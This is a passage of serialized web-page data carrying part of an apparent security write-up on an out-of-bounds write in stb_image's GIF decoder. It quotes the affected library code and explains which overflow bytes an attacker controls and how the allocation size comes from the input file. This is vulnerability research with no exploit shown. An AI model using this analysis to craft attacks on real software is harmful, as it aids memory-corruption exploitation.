\n",{"type":23,"tag":504,"props":150169,"children":150170},{"class":5016,"line":5349},[150171],{"type":23,"tag":504,"props":150172,"children":150173},{"emptyLinePlaceholder":15},[150174],{"type":29,"value":5734},{"type":23,"tag":504,"props":150176,"children":150177},{"class":5016,"line":5367},[150178,150183,150187,150191,150195,150199,150204,150208,150212,150216,150221,150226,150231,150235,150239],{"type":23,"tag":504,"props":150179,"children":150180},{"style":5058},[150181],{"type":29,"value":150182},"   c ",{"type":23,"tag":504,"props":150184,"children":150185},{"style":5047},[150186],{"type":29,"value":546},{"type":23,"tag":504,"props":150188,"children":150189},{"style":5047},[150190],{"type":29,"value":9185},{"type":23,"tag":504,"props":150192,"children":150193},{"style":5041},[150194],{"type":29,"value":111077},{"type":23,"tag":504,"props":150196,"children":150197},{"style":5058},[150198],{"type":29,"value":15803},{"type":23,"tag":504,"props":150200,"children":150201},{"style":5041},[150202],{"type":29,"value":150203},"color_table",{"type":23,"tag":504,"props":150205,"children":150206},{"style":5058},[150207],{"type":29,"value":1380},{"type":23,"tag":504,"props":150209,"children":150210},{"style":5041},[150211],{"type":29,"value":111077},{"type":23,"tag":504,"props":150213,"children":150214},{"style":5058},[150215],{"type":29,"value":15803},{"type":23,"tag":504,"props":150217,"children":150218},{"style":5041},[150219],{"type":29,"value":150220},"codes",{"type":23,"tag":504,"props":150222,"children":150223},{"style":5058},[150224],{"type":29,"value":150225},"[code].",{"type":23,"tag":504,"props":150227,"children":150228},{"style":5041},[150229],{"type":29,"value":150230},"suffix",{"type":23,"tag":504,"props":150232,"children":150233},{"style":5047},[150234],{"type":29,"value":11863},{"type":23,"tag":504,"props":150236,"children":150237},{"style":5083},[150238],{"type":29,"value":13791},{"type":23,"tag":504,"props":150240,"children":150241},{"style":5058},[150242],{"type":29,"value":33629},{"type":23,"tag":504,"props":150244,"children":150245},{"class":5016,"line":5388},[150246,150250,150254,150258,150262,150266,150270,150274,150279],{"type":23,"tag":504,"props":150247,"children":150248},{"style":5067},[150249],{"type":29,"value":54705},{"type":23,"tag":504,"props":150251,"children":150252},{"style":5058},[150253],{"type":29,"value":5110},{"type":23,"tag":504,"props":150255,"children":150256},{"style":5041},[150257],{"type":29,"value":3110},{"type":23,"tag":504,"props":150259,"children":150260},{"style":5058},[150261],{"type":29,"value":1380},{"type":23,"tag":504,"props":150263,"children":150264},{"style":5083},[150265],{"type":29,"value":19344},{"type":23,"tag":504,"props":150267,"children":150268},{"style":5058},[150269],{"type":29,"value":10706},{"type":23,"tag":504,"props":150271,"children":150272},{"style":5047},[150273],{"type":29,"value":12508},{"type":23,"tag":504,"props":150275,"children":150276},{"style":5083},[150277],{"type":29,"value":150278}," 128",{"type":23,"tag":504,"props":150280,"children":150281},{"style":5058},[150282],{"type":29,"value":16850},{"type":23,"tag":504,"props":150284,"children":150285},{"class":5016,"line":5397},[150286,150291,150295,150299,150303,150307,150311,150315,150319,150323],{"type":23,"tag":504,"props":150287,"children":150288},{"style":5041},[150289],{"type":29,"value":150290},"      p",{"type":23,"tag":504,"props":150292,"children":150293},{"style":5058},[150294],{"type":29,"value":1380},{"type":23,"tag":504,"props":150296,"children":150297},{"style":5083},[150298],{"type":29,"value":708},{"type":23,"tag":504,"props":150300,"children":150301},{"style":5058},[150302],{"type":29,"value":10706},{"type":23,"tag":504,"props":150304,"children":150305},{"style":5047},[150306],{"type":29,"value":546},{"type":23,"tag":504,"props":150308,"children":150309},{"style":5041},[150310],{"type":29,"value":39502},{"type":23,"tag":504,"props":150312,"children":150313},{"style":5058},[150314],{"type":29,"value":1380},{"type":23,"tag":504,"props":150316,"children":150317},{"style":5083},[150318],{"type":29,"value":5164},{"type":23,"tag":504,"props":150320,"children":150321},{"style":5058},[150322],{"type":29,"value":57973},{"type":23,"tag":504,"props":150324,"children":150325},{"style":5021},[150326],{"type":29,"value":150327},"        // OOB write\n",{"type":23,"tag":504,"props":150329,"children":150330},{"class":5016,"line":5649},[150331,150335,150339,150343,150347,150351,150355,150359,150363],{"type":23,"tag":504,"props":150332,"children":150333},{"style":5041},[150334],{"type":29,"value":150290},{"type":23,"tag":504,"props":150336,"children":150337},{"style":5058},[150338],{"type":29,"value":1380},{"type":23,"tag":504,"props":150340,"children":150341},{"style":5083},[150342],{"type":29,"value":826},{"type":23,"tag":504,"props":150344,"children":150345},{"style":5058},[150346],{"type":29,"value":10706},{"type":23,"tag":504,"props":150348,"children":150349},{"style":5047},[150350],{"type":29,"value":546},{"type":23,"tag":504,"props":150352,"children":150353},{"style":5041},[150354],{"type":29,"value":39502},{"type":23,"tag":504,"props":150356,"children":150357},{"style":5058},[150358],{"type":29,"value":1380},{"type":23,"tag":504,"props":150360,"children":150361},{"style":5083},[150362],{"type":29,"value":826},{"type":23,"tag":504,"props":150364,"children":150365},{"style":5058},[150366],{"type":29,"value":33629},{"type":23,"tag":504,"props":150368,"children":150369},{"class":5016,"line":5666},[150370,150374,150378,150382,150386,150390,150394,150398,150402],{"type":23,"tag":504,"props":150371,"children":150372},{"style":5041},[150373],{"type":29,"value":150290},{"type":23,"tag":504,"props":150375,"children":150376},{"style":5058},[150377],{"type":29,"value":1380},{"type":23,"tag":504,"props":150379,"children":150380},{"style":5083},[150381],{"type":29,"value":5164},{"type":23,"tag":504,"props":150383,"children":150384},{"style":5058},[150385],{"type":29,"value":10706},{"type":23,"tag":504,"props":150387,"children":150388},{"style":5047},[150389],{"type":29,"value":546},{"type":23,"tag":504,"props":150391,"children":150392},{"style":5041},[150393],{"type":29,"value":39502},{"type":23,"tag":504,"props":150395,"children":150396},{"style":5058},[150397],{"type":29,"value":1380},{"type":23,"tag":504,"props":150399,"children":150400},{"style":5083},[150401],{"type":29,"value":708},{"type":23,"tag":504,"props":150403,"children":150404},{"style":5058},[150405],{"type":29,"value":33629},{"type":23,"tag":504,"props":150407,"children":150408},{"class":5016,"line":5683},[150409,150413,150417,150421,150425,150429,150433,150437,150441],{"type":23,"tag":504,"props":150410,"children":150411},{"style":5041},[150412],{"type":29,"value":150290},{"type":23,"tag":504,"props":150414,"children":150415},{"style":5058},[150416],{"type":29,"value":1380},{"type":23,"tag":504,"props":150418,"children":150419},{"style":5083},[150420],{"type":29,"value":19344},{"type":23,"tag":504,"props":150422,"children":150423},{"style":5058},[150424],{"type":29,"value":10706},{"type":23,"tag":504,"props":150426,"children":150427},{"style":5047},[150428],{"type":29,"value":546},{"type":23,"tag":504,"props":150430,"children":150431},{"style":5041},[150432],{"type":29,"value":39502},{"type":23,"tag":504,"props":150434,"children":150435},{"style":5058},[150436],{"type":29,"value":1380},{"type":23,"tag":504,"props":150438,"children":150439},{"style":5083},[150440],{"type":29,"value":19344},{"type":23,"tag":504,"props":150442,"children":150443},{"style":5058},[150444],{"type":29,"value":33629},{"type":23,"tag":504,"props":150446,"children":150447},{"class":5016,"line":5696},[150448],{"type":23,"tag":504,"props":150449,"children":150450},{"style":5058},[150451],{"type":29,"value":36804},{"type":23,"tag":32,"props":150453,"children":150454},{},[150455,150457,150462,150464,150469],{"type":29,"value":150456},"This confirms ",{"type":23,"tag":154,"props":150458,"children":150460},{"className":150459},[],[150461],{"type":29,"value":78582},{"type":29,"value":150463}," is OOB for ",{"type":23,"tag":154,"props":150465,"children":150467},{"className":150466},[],[150468],{"type":29,"value":149947},{"type":29,"value":150470}," as well - here it results in a four-byte OOB write. A four-byte OOB write is still not trivial to exploit remotely, but it is meaningfully more dangerous than a single-byte OOB.",{"type":23,"tag":32,"props":150472,"children":150473},{},[150474,150476,150482,150484,150491],{"type":29,"value":150475},"We've read through the GIF parsing code to find out if the written values can be controlled, and found that ",{"type":23,"tag":154,"props":150477,"children":150479},{"className":150478},[],[150480],{"type":29,"value":150481},"g->color_table",{"type":29,"value":150483}," is populated by ",{"type":23,"tag":68,"props":150485,"children":150488},{"href":150486,"rel":150487},"https://github.com/nothings/stb/blob/f1f077b2722f55e158cba020f0312ee2d13c463a/stb_image.h#L6166-L6175",[72],[150489],{"type":29,"value":150490},"stbi__gif_parse_colortable",{"type":29,"value":6533},{"type":23,"tag":4743,"props":150493,"children":150495},{"code":150494,"language":3110,"meta":7,"className":18562,"style":7},"static void stbi__gif_parse_colortable(\n    stbi__context *s,\n    stbi_uc pal[256][4],    // g->color_table\n    int num_entries,\n    int transp\n) {\n   int i;\n   for (i=0; i \u003C num_entries; ++i) {\n      pal[i][2] = stbi__get8(s);\n      pal[i][1] = stbi__get8(s);\n      pal[i][0] = stbi__get8(s);\n      pal[i][3] = transp == i ? 0 : 255;\n   }\n}\n",[150496],{"type":23,"tag":154,"props":150497,"children":150498},{"__ignoreMap":7},[150499,150519,150539,150578,150594,150606,150613,150624,150667,150701,150732,150763,150820,150827],{"type":23,"tag":504,"props":150500,"children":150501},{"class":5016,"line":5017},[150502,150506,150510,150515],{"type":23,"tag":504,"props":150503,"children":150504},{"style":5030},[150505],{"type":29,"value":53107},{"type":23,"tag":504,"props":150507,"children":150508},{"style":5030},[150509],{"type":29,"value":53112},{"type":23,"tag":504,"props":150511,"children":150512},{"style":5139},[150513],{"type":29,"value":150514}," stbi__gif_parse_colortable",{"type":23,"tag":504,"props":150516,"children":150517},{"style":5058},[150518],{"type":29,"value":5512},{"type":23,"tag":504,"props":150520,"children":150521},{"class":5016,"line":4868},[150522,150527,150531,150535],{"type":23,"tag":504,"props":150523,"children":150524},{"style":5058},[150525],{"type":29,"value":150526},"    stbi__context ",{"type":23,"tag":504,"props":150528,"children":150529},{"style":5047},[150530],{"type":29,"value":6613},{"type":23,"tag":504,"props":150532,"children":150533},{"style":5041},[150534],{"type":29,"value":662},{"type":23,"tag":504,"props":150536,"children":150537},{"style":5058},[150538],{"type":29,"value":5557},{"type":23,"tag":504,"props":150540,"children":150541},{"class":5016,"line":4876},[150542,150547,150552,150556,150560,150564,150568,150573],{"type":23,"tag":504,"props":150543,"children":150544},{"style":5058},[150545],{"type":29,"value":150546},"    stbi_uc ",{"type":23,"tag":504,"props":150548,"children":150549},{"style":5041},[150550],{"type":29,"value":150551},"pal",{"type":23,"tag":504,"props":150553,"children":150554},{"style":5058},[150555],{"type":29,"value":1380},{"type":23,"tag":504,"props":150557,"children":150558},{"style":5083},[150559],{"type":29,"value":894},{"type":23,"tag":504,"props":150561,"children":150562},{"style":5058},[150563],{"type":29,"value":51021},{"type":23,"tag":504,"props":150565,"children":150566},{"style":5083},[150567],{"type":29,"value":19577},{"type":23,"tag":504,"props":150569,"children":150570},{"style":5058},[150571],{"type":29,"value":150572},"],",{"type":23,"tag":504,"props":150574,"children":150575},{"style":5021},[150576],{"type":29,"value":150577},"    // g->color_table\n",{"type":23,"tag":504,"props":150579,"children":150580},{"class":5016,"line":5099},[150581,150585,150590],{"type":23,"tag":504,"props":150582,"children":150583},{"style":5030},[150584],{"type":29,"value":21128},{"type":23,"tag":504,"props":150586,"children":150587},{"style":5041},[150588],{"type":29,"value":150589}," num_entries",{"type":23,"tag":504,"props":150591,"children":150592},{"style":5058},[150593],{"type":29,"value":5557},{"type":23,"tag":504,"props":150595,"children":150596},{"class":5016,"line":5203},[150597,150601],{"type":23,"tag":504,"props":150598,"children":150599},{"style":5030},[150600],{"type":29,"value":21128},{"type":23,"tag":504,"props":150602,"children":150603},{"style":5058},[150604],{"type":29,"value":150605}," transp\n",{"type":23,"tag":504,"props":150607,"children":150608},{"class":5016,"line":5308},[150609],{"type":23,"tag":504,"props":150610,"children":150611},{"style":5058},[150612],{"type":29,"value":16850},{"type":23,"tag":504,"props":150614,"children":150615},{"class":5016,"line":5336},[150616,150620],{"type":23,"tag":504,"props":150617,"children":150618},{"style":5030},[150619],{"type":29,"value":149668},{"type":23,"tag":504,"props":150621,"children":150622},{"style":5058},[150623],{"type":29,"value":60025},{"type":23,"tag":504,"props":150625,"children":150626},{"class":5016,"line":5349},[150627,150632,150637,150641,150645,150649,150653,150658,150662],{"type":23,"tag":504,"props":150628,"children":150629},{"style":5067},[150630],{"type":29,"value":150631},"   for",{"type":23,"tag":504,"props":150633,"children":150634},{"style":5058},[150635],{"type":29,"value":150636}," (i",{"type":23,"tag":504,"props":150638,"children":150639},{"style":5047},[150640],{"type":29,"value":546},{"type":23,"tag":504,"props":150642,"children":150643},{"style":5083},[150644],{"type":29,"value":708},{"type":23,"tag":504,"props":150646,"children":150647},{"style":5058},[150648],{"type":29,"value":53295},{"type":23,"tag":504,"props":150650,"children":150651},{"style":5047},[150652],{"type":29,"value":2658},{"type":23,"tag":504,"props":150654,"children":150655},{"style":5058},[150656],{"type":29,"value":150657}," num_entries; ",{"type":23,"tag":504,"props":150659,"children":150660},{"style":5047},[150661],{"type":29,"value":53331},{"type":23,"tag":504,"props":150663,"children":150664},{"style":5058},[150665],{"type":29,"value":150666},"i) {\n",{"type":23,"tag":504,"props":150668,"children":150669},{"class":5016,"line":5367},[150670,150675,150679,150683,150687,150691,150696],{"type":23,"tag":504,"props":150671,"children":150672},{"style":5041},[150673],{"type":29,"value":150674},"      pal",{"type":23,"tag":504,"props":150676,"children":150677},{"style":5058},[150678],{"type":29,"value":62716},{"type":23,"tag":504,"props":150680,"children":150681},{"style":5083},[150682],{"type":29,"value":5164},{"type":23,"tag":504,"props":150684,"children":150685},{"style":5058},[150686],{"type":29,"value":10706},{"type":23,"tag":504,"props":150688,"children":150689},{"style":5047},[150690],{"type":29,"value":546},{"type":23,"tag":504,"props":150692,"children":150693},{"style":5139},[150694],{"type":29,"value":150695}," stbi__get8",{"type":23,"tag":504,"props":150697,"children":150698},{"style":5058},[150699],{"type":29,"value":150700},"(s);\n",{"type":23,"tag":504,"props":150702,"children":150703},{"class":5016,"line":5388},[150704,150708,150712,150716,150720,150724,150728],{"type":23,"tag":504,"props":150705,"children":150706},{"style":5041},[150707],{"type":29,"value":150674},{"type":23,"tag":504,"props":150709,"children":150710},{"style":5058},[150711],{"type":29,"value":62716},{"type":23,"tag":504,"props":150713,"children":150714},{"style":5083},[150715],{"type":29,"value":826},{"type":23,"tag":504,"props":150717,"children":150718},{"style":5058},[150719],{"type":29,"value":10706},{"type":23,"tag":504,"props":150721,"children":150722},{"style":5047},[150723],{"type":29,"value":546},{"type":23,"tag":504,"props":150725,"children":150726},{"style":5139},[150727],{"type":29,"value":150695},{"type":23,"tag":504,"props":150729,"children":150730},{"style":5058},[150731],{"type":29,"value":150700},{"type":23,"tag":504,"props":150733,"children":150734},{"class":5016,"line":5397},[150735,150739,150743,150747,150751,150755,150759],{"type":23,"tag":504,"props":150736,"children":150737},{"style":5041},[150738],{"type":29,"value":150674},{"type":23,"tag":504,"props":150740,"children":150741},{"style":5058},[150742],{"type":29,"value":62716},{"type":23,"tag":504,"props":150744,"children":150745},{"style":5083},[150746],{"type":29,"value":708},{"type":23,"tag":504,"props":150748,"children":150749},{"style":5058},[150750],{"type":29,"value":10706},{"type":23,"tag":504,"props":150752,"children":150753},{"style":5047},[150754],{"type":29,"value":546},{"type":23,"tag":504,"props":150756,"children":150757},{"style":5139},[150758],{"type":29,"value":150695},{"type":23,"tag":504,"props":150760,"children":150761},{"style":5058},[150762],{"type":29,"value":150700},{"type":23,"tag":504,"props":150764,"children":150765},{"class":5016,"line":5649},[150766,150770,150774,150778,150782,150786,150791,150795,150799,150803,150807,150811,150816],{"type":23,"tag":504,"props":150767,"children":150768},{"style":5041},[150769],{"type":29,"value":150674},{"type":23,"tag":504,"props":150771,"children":150772},{"style":5058},[150773],{"type":29,"value":62716},{"type":23,"tag":504,"props":150775,"children":150776},{"style":5083},[150777],{"type":29,"value":19344},{"type":23,"tag":504,"props":150779,"children":150780},{"style":5058},[150781],{"type":29,"value":10706},{"type":23,"tag":504,"props":150783,"children":150784},{"style":5047},[150785],{"type":29,"value":546},{"type":23,"tag":504,"props":150787,"children":150788},{"style":5058},[150789],{"type":29,"value":150790}," transp ",{"type":23,"tag":504,"props":150792,"children":150793},{"style":5047},[150794],{"type":29,"value":1224},{"type":23,"tag":504,"props":150796,"children":150797},{"style":5058},[150798],{"type":29,"value":56605},{"type":23,"tag":504,"props":150800,"children":150801},{"style":5047},[150802],{"type":29,"value":5195},{"type":23,"tag":504,"props":150804,"children":150805},{"style":5083},[150806],{"type":29,"value":5086},{"type":23,"tag":504,"props":150808,"children":150809},{"style":5047},[150810],{"type":29,"value":37172},{"type":23,"tag":504,"props":150812,"children":150813},{"style":5083},[150814],{"type":29,"value":150815}," 255",{"type":23,"tag":504,"props":150817,"children":150818},{"style":5058},[150819],{"type":29,"value":5061},{"type":23,"tag":504,"props":150821,"children":150822},{"class":5016,"line":5666},[150823],{"type":23,"tag":504,"props":150824,"children":150825},{"style":5058},[150826],{"type":29,"value":36804},{"type":23,"tag":504,"props":150828,"children":150829},{"class":5016,"line":5683},[150830],{"type":23,"tag":504,"props":150831,"children":150832},{"style":5058},[150833],{"type":29,"value":5965},{"type":23,"tag":32,"props":150835,"children":150836},{},[150837,150839,150844,150845,150850,150852,150857],{"type":29,"value":150838},"The first three bytes are read from the input image, while the last byte can be either ",{"type":23,"tag":154,"props":150840,"children":150842},{"className":150841},[],[150843],{"type":29,"value":708},{"type":29,"value":15180},{"type":23,"tag":154,"props":150846,"children":150848},{"className":150847},[],[150849],{"type":29,"value":115122},{"type":29,"value":150851},". But as we've seen previously, the OOB write only happens if the last byte is more than ",{"type":23,"tag":154,"props":150853,"children":150855},{"className":150854},[],[150856],{"type":29,"value":31902},{"type":29,"value":6533},{"type":23,"tag":4743,"props":150859,"children":150861},{"code":150860,"language":3110,"meta":7,"className":18562,"style":7},"   c = &g->color_table[g->codes[code].suffix * 4];\n   if (c[3] > 128) {\n      p[0] = c[2];\n      p[1] = c[1];\n      p[2] = c[0];\n      p[3] = c[3];\n   }\n",[150862],{"type":23,"tag":154,"props":150863,"children":150864},{"__ignoreMap":7},[150865,150928,150967,151006,151045,151084,151123],{"type":23,"tag":504,"props":150866,"children":150867},{"class":5016,"line":5017},[150868,150872,150876,150880,150884,150888,150892,150896,150900,150904,150908,150912,150916,150920,150924],{"type":23,"tag":504,"props":150869,"children":150870},{"style":5058},[150871],{"type":29,"value":150182},{"type":23,"tag":504,"props":150873,"children":150874},{"style":5047},[150875],{"type":29,"value":546},{"type":23,"tag":504,"props":150877,"children":150878},{"style":5047},[150879],{"type":29,"value":9185},{"type":23,"tag":504,"props":150881,"children":150882},{"style":5058},[150883],{"type":29,"value":111077},{"type":23,"tag":504,"props":150885,"children":150886},{"style":5047},[150887],{"type":29,"value":15803},{"type":23,"tag":504,"props":150889,"children":150890},{"style":5041},[150891],{"type":29,"value":150203},{"type":23,"tag":504,"props":150893,"children":150894},{"style":5058},[150895],{"type":29,"value":1380},{"type":23,"tag":504,"props":150897,"children":150898},{"style":5041},[150899],{"type":29,"value":111077},{"type":23,"tag":504,"props":150901,"children":150902},{"style":5058},[150903],{"type":29,"value":15803},{"type":23,"tag":504,"props":150905,"children":150906},{"style":5041},[150907],{"type":29,"value":150220},{"type":23,"tag":504,"props":150909,"children":150910},{"style":5058},[150911],{"type":29,"value":150225},{"type":23,"tag":504,"props":150913,"children":150914},{"style":5041},[150915],{"type":29,"value":150230},{"type":23,"tag":504,"props":150917,"children":150918},{"style":5047},[150919],{"type":29,"value":11863},{"type":23,"tag":504,"props":150921,"children":150922},{"style":5083},[150923],{"type":29,"value":13791},{"type":23,"tag":504,"props":150925,"children":150926},{"style":5058},[150927],{"type":29,"value":33629},{"type":23,"tag":504,"props":150929,"children":150930},{"class":5016,"line":4868},[150931,150935,150939,150943,150947,150951,150955,150959,150963],{"type":23,"tag":504,"props":150932,"children":150933},{"style":5067},[150934],{"type":29,"value":54705},{"type":23,"tag":504,"props":150936,"children":150937},{"style":5058},[150938],{"type":29,"value":5110},{"type":23,"tag":504,"props":150940,"children":150941},{"style":5041},[150942],{"type":29,"value":3110},{"type":23,"tag":504,"props":150944,"children":150945},{"style":5058},[150946],{"type":29,"value":1380},{"type":23,"tag":504,"props":150948,"children":150949},{"style":5083},[150950],{"type":29,"value":19344},{"type":23,"tag":504,"props":150952,"children":150953},{"style":5058},[150954],{"type":29,"value":10706},{"type":23,"tag":504,"props":150956,"children":150957},{"style":5047},[150958],{"type":29,"value":12508},{"type":23,"tag":504,"props":150960,"children":150961},{"style":5083},[150962],{"type":29,"value":150278},{"type":23,"tag":504,"props":150964,"children":150965},{"style":5058},[150966],{"type":29,"value":16850},{"type":23,"tag":504,"props":150968,"children":150969},{"class":5016,"line":4876},[150970,150974,150978,150982,150986,150990,150994,150998,151002],{"type":23,"tag":504,"props":150971,"children":150972},{"style":5041},[150973],{"type":29,"value":150290},{"type":23,"tag":504,"props":150975,"children":150976},{"style":5058},[150977],{"type":29,"value":1380},{"type":23,"tag":504,"props":150979,"children":150980},{"style":5083},[150981],{"type":29,"value":708},{"type":23,"tag":504,"props":150983,"children":150984},{"style":5058},[150985],{"type":29,"value":10706},{"type":23,"tag":504,"props":150987,"children":150988},{"style":5047},[150989],{"type":29,"value":546},{"type":23,"tag":504,"props":150991,"children":150992},{"style":5041},[150993],{"type":29,"value":39502},{"type":23,"tag":504,"props":150995,"children":150996},{"style":5058},[150997],{"type":29,"value":1380},{"type":23,"tag":504,"props":150999,"children":151000},{"style":5083},[151001],{"type":29,"value":5164},{"type":23,"tag":504,"props":151003,"children":151004},{"style":5058},[151005],{"type":29,"value":33629},{"type":23,"tag":504,"props":151007,"children":151008},{"class":5016,"line":5099},[151009,151013,151017,151021,151025,151029,151033,151037,151041],{"type":23,"tag":504,"props":151010,"children":151011},{"style":5041},[151012],{"type":29,"value":150290},{"type":23,"tag":504,"props":151014,"children":151015},{"style":5058},[151016],{"type":29,"value":1380},{"type":23,"tag":504,"props":151018,"children":151019},{"style":5083},[151020],{"type":29,"value":826},{"type":23,"tag":504,"props":151022,"children":151023},{"style":5058},[151024],{"type":29,"value":10706},{"type":23,"tag":504,"props":151026,"children":151027},{"style":5047},[151028],{"type":29,"value":546},{"type":23,"tag":504,"props":151030,"children":151031},{"style":5041},[151032],{"type":29,"value":39502},{"type":23,"tag":504,"props":151034,"children":151035},{"style":5058},[151036],{"type":29,"value":1380},{"type":23,"tag":504,"props":151038,"children":151039},{"style":5083},[151040],{"type":29,"value":826},{"type":23,"tag":504,"props":151042,"children":151043},{"style":5058},[151044],{"type":29,"value":33629},{"type":23,"tag":504,"props":151046,"children":151047},{"class":5016,"line":5203},[151048,151052,151056,151060,151064,151068,151072,151076,151080],{"type":23,"tag":504,"props":151049,"children":151050},{"style":5041},[151051],{"type":29,"value":150290},{"type":23,"tag":504,"props":151053,"children":151054},{"style":5058},[151055],{"type":29,"value":1380},{"type":23,"tag":504,"props":151057,"children":151058},{"style":5083},[151059],{"type":29,"value":5164},{"type":23,"tag":504,"props":151061,"children":151062},{"style":5058},[151063],{"type":29,"value":10706},{"type":23,"tag":504,"props":151065,"children":151066},{"style":5047},[151067],{"type":29,"value":546},{"type":23,"tag":504,"props":151069,"children":151070},{"style":5041},[151071],{"type":29,"value":39502},{"type":23,"tag":504,"props":151073,"children":151074},{"style":5058},[151075],{"type":29,"value":1380},{"type":23,"tag":504,"props":151077,"children":151078},{"style":5083},[151079],{"type":29,"value":708},{"type":23,"tag":504,"props":151081,"children":151082},{"style":5058},[151083],{"type":29,"value":33629},{"type":23,"tag":504,"props":151085,"children":151086},{"class":5016,"line":5308},[151087,151091,151095,151099,151103,151107,151111,151115,151119],{"type":23,"tag":504,"props":151088,"children":151089},{"style":5041},[151090],{"type":29,"value":150290},{"type":23,"tag":504,"props":151092,"children":151093},{"style":5058},[151094],{"type":29,"value":1380},{"type":23,"tag":504,"props":151096,"children":151097},{"style":5083},[151098],{"type":29,"value":19344},{"type":23,"tag":504,"props":151100,"children":151101},{"style":5058},[151102],{"type":29,"value":10706},{"type":23,"tag":504,"props":151104,"children":151105},{"style":5047},[151106],{"type":29,"value":546},{"type":23,"tag":504,"props":151108,"children":151109},{"style":5041},[151110],{"type":29,"value":39502},{"type":23,"tag":504,"props":151112,"children":151113},{"style":5058},[151114],{"type":29,"value":1380},{"type":23,"tag":504,"props":151116,"children":151117},{"style":5083},[151118],{"type":29,"value":19344},{"type":23,"tag":504,"props":151120,"children":151121},{"style":5058},[151122],{"type":29,"value":33629},{"type":23,"tag":504,"props":151124,"children":151125},{"class":5016,"line":5336},[151126],{"type":23,"tag":504,"props":151127,"children":151128},{"style":5058},[151129],{"type":29,"value":36804},{"type":23,"tag":32,"props":151131,"children":151132},{},[151133,151134,151139,151141,151146,151148,151153],{"type":29,"value":26067},{"type":23,"tag":154,"props":151135,"children":151137},{"className":151136},[],[151138],{"type":29,"value":150490},{"type":29,"value":151140}," has to set the last byte to ",{"type":23,"tag":154,"props":151142,"children":151144},{"className":151143},[],[151145],{"type":29,"value":115122},{"type":29,"value":151147}," in order for the four-byte OOB write to happen, meaning we can control the first three bytes of the overflow while the last byte will always be ",{"type":23,"tag":154,"props":151149,"children":151151},{"className":151150},[],[151152],{"type":29,"value":115122},{"type":29,"value":357},{"type":23,"tag":32,"props":151155,"children":151156},{},[151157,151159,151164,151166,151172,151173,151179],{"type":29,"value":151158},"In the code we can see that size of the ",{"type":23,"tag":154,"props":151160,"children":151162},{"className":151161},[],[151163],{"type":29,"value":149947},{"type":29,"value":151165}," allocation is controlled through ",{"type":23,"tag":154,"props":151167,"children":151169},{"className":151168},[],[151170],{"type":29,"value":151171},"g->w",{"type":29,"value":4478},{"type":23,"tag":154,"props":151174,"children":151176},{"className":151175},[],[151177],{"type":29,"value":151178},"g->h",{"type":29,"value":151180}," values, both of which are read from the input file itself:",{"type":23,"tag":4743,"props":151182,"children":151184},{"code":151183,"language":3110,"meta":7,"className":18562,"style":7},"static stbi_uc *stbi__gif_load_next(...)\n{\n   [...]\n   if (g->out == 0) {\n      if (!stbi__gif_header(s, g, comp,0))     return 0;\n      g->out = (stbi_uc *) stbi__malloc(4 * g->w * g->h);\n",[151185],{"type":23,"tag":154,"props":151186,"children":151187},{"__ignoreMap":7},[151188,151213,151220,151227,151262,151308],{"type":23,"tag":504,"props":151189,"children":151190},{"class":5016,"line":5017},[151191,151195,151200,151204,151208],{"type":23,"tag":504,"props":151192,"children":151193},{"style":5030},[151194],{"type":29,"value":53107},{"type":23,"tag":504,"props":151196,"children":151197},{"style":5058},[151198],{"type":29,"value":151199}," stbi_uc ",{"type":23,"tag":504,"props":151201,"children":151202},{"style":5047},[151203],{"type":29,"value":6613},{"type":23,"tag":504,"props":151205,"children":151206},{"style":5139},[151207],{"type":29,"value":149126},{"type":23,"tag":504,"props":151209,"children":151210},{"style":5058},[151211],{"type":29,"value":151212},"(...)\n",{"type":23,"tag":504,"props":151214,"children":151215},{"class":5016,"line":4868},[151216],{"type":23,"tag":504,"props":151217,"children":151218},{"style":5058},[151219],{"type":29,"value":12926},{"type":23,"tag":504,"props":151221,"children":151222},{"class":5016,"line":4876},[151223],{"type":23,"tag":504,"props":151224,"children":151225},{"style":5058},[151226],{"type":29,"value":149688},{"type":23,"tag":504,"props":151228,"children":151229},{"class":5016,"line":5099},[151230,151234,151238,151242,151246,151250,151254,151258],{"type":23,"tag":504,"props":151231,"children":151232},{"style":5067},[151233],{"type":29,"value":54705},{"type":23,"tag":504,"props":151235,"children":151236},{"style":5058},[151237],{"type":29,"value":5110},{"type":23,"tag":504,"props":151239,"children":151240},{"style":5041},[151241],{"type":29,"value":111077},{"type":23,"tag":504,"props":151243,"children":151244},{"style":5058},[151245],{"type":29,"value":15803},{"type":23,"tag":504,"props":151247,"children":151248},{"style":5041},[151249],{"type":29,"value":120500},{"type":23,"tag":504,"props":151251,"children":151252},{"style":5047},[151253],{"type":29,"value":5324},{"type":23,"tag":504,"props":151255,"children":151256},{"style":5083},[151257],{"type":29,"value":5086},{"type":23,"tag":504,"props":151259,"children":151260},{"style":5058},[151261],{"type":29,"value":16850},{"type":23,"tag":504,"props":151263,"children":151264},{"class":5016,"line":5203},[151265,151269,151273,151277,151282,151287,151291,151296,151300,151304],{"type":23,"tag":504,"props":151266,"children":151267},{"style":5067},[151268],{"type":29,"value":41343},{"type":23,"tag":504,"props":151270,"children":151271},{"style":5058},[151272],{"type":29,"value":5110},{"type":23,"tag":504,"props":151274,"children":151275},{"style":5047},[151276],{"type":29,"value":22674},{"type":23,"tag":504,"props":151278,"children":151279},{"style":5139},[151280],{"type":29,"value":151281},"stbi__gif_header",{"type":23,"tag":504,"props":151283,"children":151284},{"style":5058},[151285],{"type":29,"value":151286},"(s, g, comp,",{"type":23,"tag":504,"props":151288,"children":151289},{"style":5083},[151290],{"type":29,"value":708},{"type":23,"tag":504,"props":151292,"children":151293},{"style":5058},[151294],{"type":29,"value":151295},"))     ",{"type":23,"tag":504,"props":151297,"children":151298},{"style":5067},[151299],{"type":29,"value":50520},{"type":23,"tag":504,"props":151301,"children":151302},{"style":5083},[151303],{"type":29,"value":5086},{"type":23,"tag":504,"props":151305,"children":151306},{"style":5058},[151307],{"type":29,"value":5061},{"type":23,"tag":504,"props":151309,"children":151310},{"class":5016,"line":5308},[151311,151316,151320,151324,151328,151333,151337,151341,151346,151350,151354,151358,151362,151366,151370,151374,151378,151382,151386],{"type":23,"tag":504,"props":151312,"children":151313},{"style":5041},[151314],{"type":29,"value":151315},"      g",{"type":23,"tag":504,"props":151317,"children":151318},{"style":5058},[151319],{"type":29,"value":15803},{"type":23,"tag":504,"props":151321,"children":151322},{"style":5041},[151323],{"type":29,"value":120500},{"type":23,"tag":504,"props":151325,"children":151326},{"style":5047},[151327],{"type":29,"value":5050},{"type":23,"tag":504,"props":151329,"children":151330},{"style":5058},[151331],{"type":29,"value":151332}," (stbi_uc 